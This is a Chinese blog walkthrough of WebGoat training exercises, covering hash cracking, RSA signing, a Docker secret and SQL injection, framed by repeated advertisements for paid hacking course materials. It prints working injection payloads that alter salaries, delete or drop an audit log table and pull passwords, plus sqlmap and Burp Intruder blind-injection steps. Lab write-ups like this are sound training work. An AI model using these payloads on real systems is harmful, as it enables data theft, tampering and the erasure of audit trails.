先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
正文
异或操作 :是一种逻辑运算,用于比较两个二进制数对应位上的值。如果两个二进制位相同,则异或结果为0;如果两个二进制位不同,则异或结果为1
解: 使用 异或解码工具 输入字符串(不包括{xor}) 获得解码后的字符串 databasepassword
题4: 普通哈希
使用普通哈希解码两个加密串
BED128365216C019988915ED3ADD75FB /2BB80D537B1DA3E38BD30361AA855686BDE0EACD7162FEF6A25FE97BF527A25B
解:
- 使用cmd5在线解密 获得 结果为 passw0rd (md5) / secret (sha256)
- 使用kali自带的工具也可以实现 。先用 hash-identifier 检测加密算法 在用 hashcat破解
hash-identifier # 输入加密串,检测加密算法,分别获得两个串为md5和sha256加密 hashcat -a 3 -m 0 BED128365216C019988915ED3ADD75FB -o md5ret.txt # -a 3 : 掩码破解 -m 0 : md5 -o : 输出结果到指定文件 # 没有字典和掩码直接使用暴力破解过程非常慢,还是用在线工具吧(复杂的密码要收费)
题6: RSA签名,使用指定的私钥获取公钥的模以及根据摸提供签名
解: 把题目提供的私钥保存为文件
ehco '【私钥字符串(包括前后缀)】' > prikey # 获取模 openssl rsa -in prikey -modulus
# 再使用模来签名 echo -n '【模字符串】' | openssl dgst -sign prikey -sha256 -out dgst base64 dgst > result # result 为签名 cat result
知识扩展: 这里说到了加密,我们就来详细介绍一下常见的加密原理
对称加密:使用相同的密钥进行数据的加密和解密。发送方使用密钥对要发送的数据进行加密,然后接收方使用相同的密钥对接收到的密文进行解密,恢复原始的明文数据,常见的对称加密算法有DES、AES和RC4等。
其中以AES为例,AES算法的密钥长度有128位(16字节)、192位和256位三种。 使用128位密钥时,被加密的原文会按照128位进行拆分成多个分组进行加密。每个分组的大小为128位(16字节),并且每个分组都会经过一系列的轮(rounds)进行加密操作。如果原文的长度不是128位的倍数,会采用填充(padding)的方式将其补足到合适的长度,使得可以进行分组加密。
常见的填充方式包括 :
PKCS7填充(缺N位就补几个 0xN)数据 : 00112233445566778899AA(11字节) 密钥 :16字节,则数据需要先填充5个 0x05。填充后变为 00112233445566778899AA0505050505
ZeroPadding填充(缺N位补N个 0x00) : 接上例的数据,填充后的数据为 00112233445566778899AA0000000000
非对称加密:使用一对不同的密钥进行数据的加密和解密。这对密钥分别被称为公钥和私钥。发送方使用接收方的公钥对要发送的数据进行加密,而只有接收方持有相应的私钥才能解密密文并获取原始明文数据。其中公钥是公开的,可以安全地共享给其他人,而私钥必须保密并且只能由其所有者掌握。加密的数据只能用对应的私钥进行解密。常见的非对称加密有 RSA、DSA、ECC
在这里,我们额外了解一下RSA算法的原理。
RSA算法是一种非对称加密算法,常用于以下三种应用场景 : 数据加密,数字签名,密钥协商
数据加密 :
rsa加解密过程如下 :
- 生成密钥对:首先,需要生成一对密钥,包括公钥和私钥。公钥可以公开,私钥则只有用户自己知道。
- 加密数据:要加密数据,需要使用接收方的公钥进行加密。加密过程如下:
a. 将明文数据转换为数字形式。
b. 使用接收方的公钥对数字进行加密。
c. 得到密文数据。- 解密数据:要解密数据,需要使用自己的私钥进行解密。解密过程如下:
a. 使用自己的私钥对密文数据进行解密。
b. 得到数字形式的明文数据。
c. 将数字形式的明文数据转换为原始数据。
数字签名: 私钥可以用来给数据进行签名(由原始数据和私钥生成一段数字串),签名后的数据可以使用公钥来验证数据的真伪。
数字签名的生成过程如下:
- 发送方使用哈希算法对原始数据进行处理,生成消息摘要。
- 发送方使用自己的私钥对消息摘要进行加密,生成数字签名。
- 发送方将原始数据和数字签名一起发送给接收方。
- 接收方使用发送方的公钥对数字签名进行解密,得到消息摘要1。
- 接收方使用相同的哈希算法对原始数据进行处理,生成消息摘要2。
- 接收方比较两个消息摘要是否相同,如果相同,则说明数据没有被篡改,数字签名有效。
密钥协商:允许两个用户在互相未知的情况下共同生成一把密钥。这样既保证了密钥的安全性,又缩短了密钥交换的时间
双方各自生成一对公钥和私钥
双方将自己的公钥发送给对方。
双方使用对方的公钥加密一个随机生成的会话密钥,得到密文后发送给对方。
对方收到密文后,使用自己的私钥进行解密,获取会话密钥。
双方现在都拥有了该会话密钥,可用于加密传输消息。
我们举一个简单的例子说明一下rsa算法的计算过程
首先 => E - 公钥 ,D - 私钥 ,N - 模数 是怎么来的?
- N = p * q (p,q为两个质数,通常需要两个很大的质数,这里是介绍原理就用简单的)
p = 11 q = 7 N = 77- 欧拉函数 = 10*6 = 60 即 L= 60
- 求E ,两个条件
3.1 1<E<L
3.2 E和L的最大公约数为1 (E与L互质)
E 假设为 13- 求D,条件为
4.1 1 < D < L
4.2 E*D mod L = 1 (13*D mod 60 = 1)
D = 37
得出 公钥 (13,77) 私钥 (37,77)
其次 => 加解密过程
假设明文为【18】
加密 : 18^13 mod 77 = 46
解密 : 46^37 mod 77 = 18
最后介绍一下HTTPS协议的通讯过程,它同时用到了不对成加密和对称加密算法
**HTTPS协议的通讯过程如下 **
- 客户端向服务器发送连接请求,请求建立一个HTTPS连接。
- 服务器返回一个数字证书,证书中包含了服务器的公钥以及一些其他信息。
- 客户端验证证书的有效性,如果证书有效,则生成一个随机的加密密钥(对称加密的密钥),使用服务器的公钥(不对称加密)进行加密后发送给服务器。
- 服务器使用自己的**私钥解密客户端发送过来的加密密钥,得到原始密钥。 **
- 客户端和服务器**使用原始密钥进行加密和解密通信数据。 **
- 通信结束后,客户端和服务器都会销毁原始密钥,以保证通信的安全性
题8: 在docker容器中找到key,再使用key来解密
解:
# 需要先安装docker docker run -d webgoat/assignments:findthesecret docker exec -it -uroot relaxed_golick bash cd /root # 存储key的文件名为 default\_secret key为 ThisIsMySecretPassw0rdF0rY0u #使用key进行解密 echo "U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=" | openssl enc -aes-256-cbc -d -a -kfile default_secret # 解密后的文本为: Leaving passwords in docker images is not so secure
Writing new lesson 编写新课程
题6 : 为你自己课程添加练习题。介绍了如何创建自定义课程,以及如何配置练习题,题目是需要填入样本代码中的两个参数
解: 后端样例代码中提供了答案正确与错误的两个return分支,分别是 return success 和 return failed ,返回成功的条件为secretValue.equals(param1),查找secretValue的值得到 字符串 【secr37Value】,因此参数一就是这个。参数2后端没有校验,所以留空或者随便填都可以。
Injection 注入
SQL Injection (intro) SQL注入(简介)
本课程描述了什么是结构化查询语言(SQL),以及如何操作它来执行开发人员最初不打算执行的任务
题2 : 什么是SQL?
尝试检索员工Bob Franco的部门
解:简单的SQL查询
select department from employees where last_name = 'Franco'
题3 : 数据操作语言(DML)
尝试将Tobi Barnett的部门改为“Sales”。
解 :
update employees set department = 'Sales' where last_name = 'Barnett'
题4: 数据定义语言(DDL)
现在尝试通过将列“phone”(varchar(20))添加到表“employees”中.
解:
alter table employees add column phone varchar(20)
题5 : 数据控制语言(DCL)
尝试将表的权限授予未经授权的用户:
解 :
grant SELECT, INSERT, UPDATE, DELETE on grant_rights to unauthorized_user
题9: Try It! String SQL injection 字符串SQL注入
解 : 按照第六步例子输入参数即可
题10 : Numeric SQL injection 数字型SQL注入
解 :
SELECT \* From user_data WHERE Login_Count = 1 and userid= 1 or 1=1
题11: 获取所有员工信息。 这个和前面的也差不多
解 :
题12 : 利用查询链接破坏完整性
你刚刚发现托比和鲍勃似乎都比你赚得多!当然,你不能就此打住。最好去改变你自己的工资,这样你就能赚得最多!
解:
Employee Name : Smith Authentcation TAN : 3SL99A' ; update employees set salary = 1000000 where last\_name = 'Smith
题13 : 可用性破坏
这里似乎有一个访问日志表access_log,您的所有操作都已记录到该表中!最好在别人注意到之前把它完全删除。
解: 先直接点下查询 ,可获得该表的结构,看样子应该是支持 action 字段的模糊查询。 推断查询的SQL应该类似于
select \* from access_log where action like '%"+ param +"%'
尝试输入以下参数再执行查询
3SL99A’;delete from access_log;–
没有获取想要的结果,再尝试几次其他的注入参数,都不行。 只能使用题12中的注入点Employee Name : Smith Authentcation TAN : 3SL99A' ; delete from access_log;--
执行成功,返回题13,再次查询,数据没有了 但是题还是没通过
只能使用删表语句了 ,回到题12 再次执行Employee Name : Smith Authentcation TAN : 3SL99A' ; drop table access_log;--
再次回到题13查询,题目通过。。
SQL Injection (advanced) SQL注入(高级)
题3 : Try It! Pulling data from other tables
从其他表中提取数据
6.a) Retrieve all data from the table
6.b) When you have figured it out…. What is Dave’s password?
解: 题中介绍可以通过union或扩展新sql语句的方式实现,我们来一一尝试一下
- 扩展
';select \* from user_system_data --
成功,获取数据如下,同时可以得知第二题 Dave的密码为 passW0rD
You have succeeded: USERID, USER_NAME, PASSWORD, COOKIE, 101, jsnow, passwd1, , 102, jdoe, passwd2, , 103, jplane, passwd3, , 104, jeff, jeff, , 105, dave, passW0rD, ,
- union
比较两个表的结构,user_system_data表比user_data少三个字段,union要求查询字段和数据类型要相同才能连接,所以这里我们需要多写几个重复的字段代替user_system_data表中没有的字段。' UNION select userid,user_name,user_name,user_name,user_name,password,userid from user_system_data --
You have succeeded: USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT, 101, jsnow, jsnow, jsnow, jsnow, passwd1, 101, 102, jdoe, jdoe, jdoe, jdoe, passwd2, 102, 103, jplane, jplane, jplane, jplane, passwd3, 103, 104, jeff, jeff, jeff, jeff, jeff, 104, 105, dave, dave, dave, dave, passW0rD, 105,
拓展知识
SQL盲注 用于绕过应用程序的安全机制并获取数据库中的敏感信息。与普通的SQL注入不同的是,在盲注中,攻击者无法直接从应用程序的响应中获取数据。这意味着攻击者在执行恶意SQL查询后,无法直接看到查询结果。盲注通常发生在应用程序未正确过滤用户输入的情况下。
盲注的攻击手段基于不同的应用程序响应。有两种主要类型的盲注攻击:
- 布尔盲注(Boolean-based Blind SQL Injection):
在布尔盲注中,攻击者通过构造SQL查询,利用应用程序在查询返回时的真假判断来推断信息。攻击者可以根据应用程序的响应来确定是否存在漏洞以及查询结果是否为真或假。- 基于时间盲注(Time-based Blind SQL Injection):
在基于时间的盲注中,攻击者通过构造SQL查询,利用应用程序在查询执行时间上的延迟来推断信息。攻击者可以通过注入一些导致延迟的代码来判断是否存在漏洞以及获取数据。
题5: SQL盲注实战题
Goal: Can you login as Tom?
解: 题中有登录和注册两个表单,首先需要确定注入点在哪里。这里我们可以用kali自带的sqlmap工具进行盲注。
- 首先确定两个操作的请求信息,使用 burpsuit、fiddler或者浏览器的开发者工具都可以
- bp : 选择 Proxy => HTTP history => 选中请求记录右键选择 Save Item
- fiddler :选中请求记录,右键 save => Selected Sessions => as Text
- Chrome : F12,选择Network,选中请求记录 =》 Save all as HAR with content (这里有个小坑,该文件保存的是当前列表所有请求的记录,并不只是选中的这一条)
- 把保存的请求信息文件【request.txt】放入kali虚拟机,执行sqlmap指令
1. sqlmap -r "request.txt" # 这里会有个提示问题 Cookie parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] # 要选择N,否则会一直提示要提供【csrf-token】和【csrf-url】参数来绕过csrf校验,这里实际上是误报,Cookie中的参数token并不是 csrf-token,所以这里选择Y的话,不管csrf-token提供什么值都无法继续。 #对两个接口都进行盲注后发现如下注入点 Parameter: username_reg (PUT) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: username\_reg=33333' AND 8144=8144 AND 'IErf'='IErf&email\_reg=123@123.com&password\_reg=123&confirm\_password\_reg=123 2. # 接下来查看数据库名称 sqlmap -r "request.txt" --current-db --no-cast #返回 current database (equivalent to schema on HSQLDB): 'PUBLIC' 由此得知数据库名为PUBLIC 3. # 再查库中有哪些表 sqlmap -r "request.txt" --no-cast -D PUBLIC --tables # 返回 [WARNING] unable to retrieve the number of tables for database 'PUBLIC' [ERROR] unable to retrieve the table names for any database 无法获取PUBLIC库中的表信息,只能通过另外的方法来实现了,至少我们现在知道了注入点在哪里
- 返回WebGoat,已经知道注册表单的username为注入点,我们可以该字段进行各种输入尝试
- 首先需要确定账户名,题目是使用Tom登录,我们使用Tom为用户名尝试进行注册,发现可以成功
{ "lessonCompleted" : true, "feedback" : "User Tom created, please proceed to the login page.", "output" : null, "assignment" : "SqlInjectionChallenge", "attemptWasMade" : true }
直接使用刚注册的Tom登录,没有获得完成练习的提示
再尝试使用 tom ,发现该用户已注册。看样子实际的用户名应该是tom而不是Tom
- 接下来我们需要获取密码字段的名称,使用该字段进行布尔型盲注
#这里我们可以猜测一下,判断用户是否已存在的sql语句大致是这样的,返回值>0则表示该用户已存在 select count(1) from PUBLIC where username = '"+username+"'; # 输入正常用户名时,是这样的。此时服务端应该返回该用户已存在 select count(1) from PUBLIC where username = 'tom'; # 注入后变成这样,如果[密码字段]猜测错误,该SQL会报错,如果猜测正确,该sql会返回0,服务端会提示注册成功 select count(1) from PUBLIC where username = 'tom' and [密码字段]=''; # 接下来就是不停的用各种常见的密码字段名来尝试了,结果很简单,密码字段就是password select count(1) from PUBLIC where username = 'tom' and password=''; #输入 tom' and password=' #返回 {"feedback" : "User tom' and password=' created, please proceed to the login page."}
- 接下来需要确定密码长度,也是使用布尔型盲注
# 输入 tom' and (length(password)>10)-- 等同于 select count(1) from PUBLIC where username = 'tom' and (length(password)>10) --' # 如果密码长度大于10 则(length(password)>10)会返回true,那么整个sql返回的就是>1的,此时会提示注册失败。所以我们需要一个个的尝试不同的长度,来确定最终的长度是多少 #返回如下,说明密码长度是大于10的 { "feedback" : "User {0} already exists please try to register with a different username." } # 由此方法一直到 > 24 发现服务端返回了 { "feedback" : "User tom' and (length(password)>24)-- created, please proceed to the login page.",} # 说明密码长度为23
- 获取密码字段名称和长度后,就可以使用Burpsuit进行爆破了 。先配置好Burpsuit的代理,
在username输入框使用 【tom’ and substring(password,1,1)=‘1’–】发送一次注册请求。在HTTP history中选中该记录,右键发送到intruder
- 在Intruder中切换到 Positions分页,
- 注意从history发送到intruder后会自动对请求参数进行 urlencoder,为了不影响观察可以先把参数解一下码再复制进去
- 点clear § 按钮去除掉自动生成的§符号
- 把 substring(password,1,1)=1 改为 substring(password,§1§,1)=§1§ (被§括起来的值表示需要参数化,命名可以随意)
- 上面的Attack type 使用 Cluster bomb 不同攻击模式的区别
- 选择 Payloads分页
- payload set : 这里显示为2,因为前面定义了两个参数化变量 所以两个参数需要分别设置参数化值;
- payload type 2个参数都选择 simple list
- payload options : 这里就是选择参数化的池的,参数1是截取的password的索引,一共23位密码,所以这里是1-23;参数2是密码的值,这里不知道是纯数字还是字符和数字的混合,所以我们暂且认为是小写字母+数字的混合,输入 0-9 + a-z ,在界面上也会显示 request count为 828 。 (23*(10+26))= 828
- 点击右侧的 start attack按钮。开始自动取参数发送请求。所有请求结束后,查看每个请求的返回值,找到返回的feedback字段提示为账户已存在的。(请求数太多肉眼很难分辨,这里可以点一下length排序,把相同返回信息的请求全部分到一起)最后我们得到了一个这样的列表
结合两个参数的值,注意推断出真实的密码为 thisisasecretfortomonly
最后使用 tom + thisisasecretfortomonly 登录。完成
题6: 几个关于 prepared statement 和 statement的区别选择题
SQL Injection (mitigation)
题5: 前面几个介绍了如何规避注入的几种方式,这里需要补全一段使用preparestatment的java查询代码
解:
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW); PreparedStatement pre = conn.prepareStatement("SELECT status FROM users WHERE name= ? and mail = ?"); pre.setString(1,name); pre.setString(2,mail);
题6: 自己写安全的查询代码,要求 连接数据库 + 使用防注入的方式执行查询 + 至少包含一个参数
解:把题5的代码补充得完整一点就行了
try{ Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
😝朋友们如果有需要的话,可以联系领取~
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
2️⃣视频配套工具&国内外网安书籍、文档
① 工具
② 视频
③ 书籍
资源较为敏感,未展示全面,需要的最下面获取
② 简历模板
因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
7ace77f2e260ba222.png#pic_center)
③ 书籍
资源较为敏感,未展示全面,需要的最下面获取
② 简历模板
因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-Yt33fmc7-1713184881897)]
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!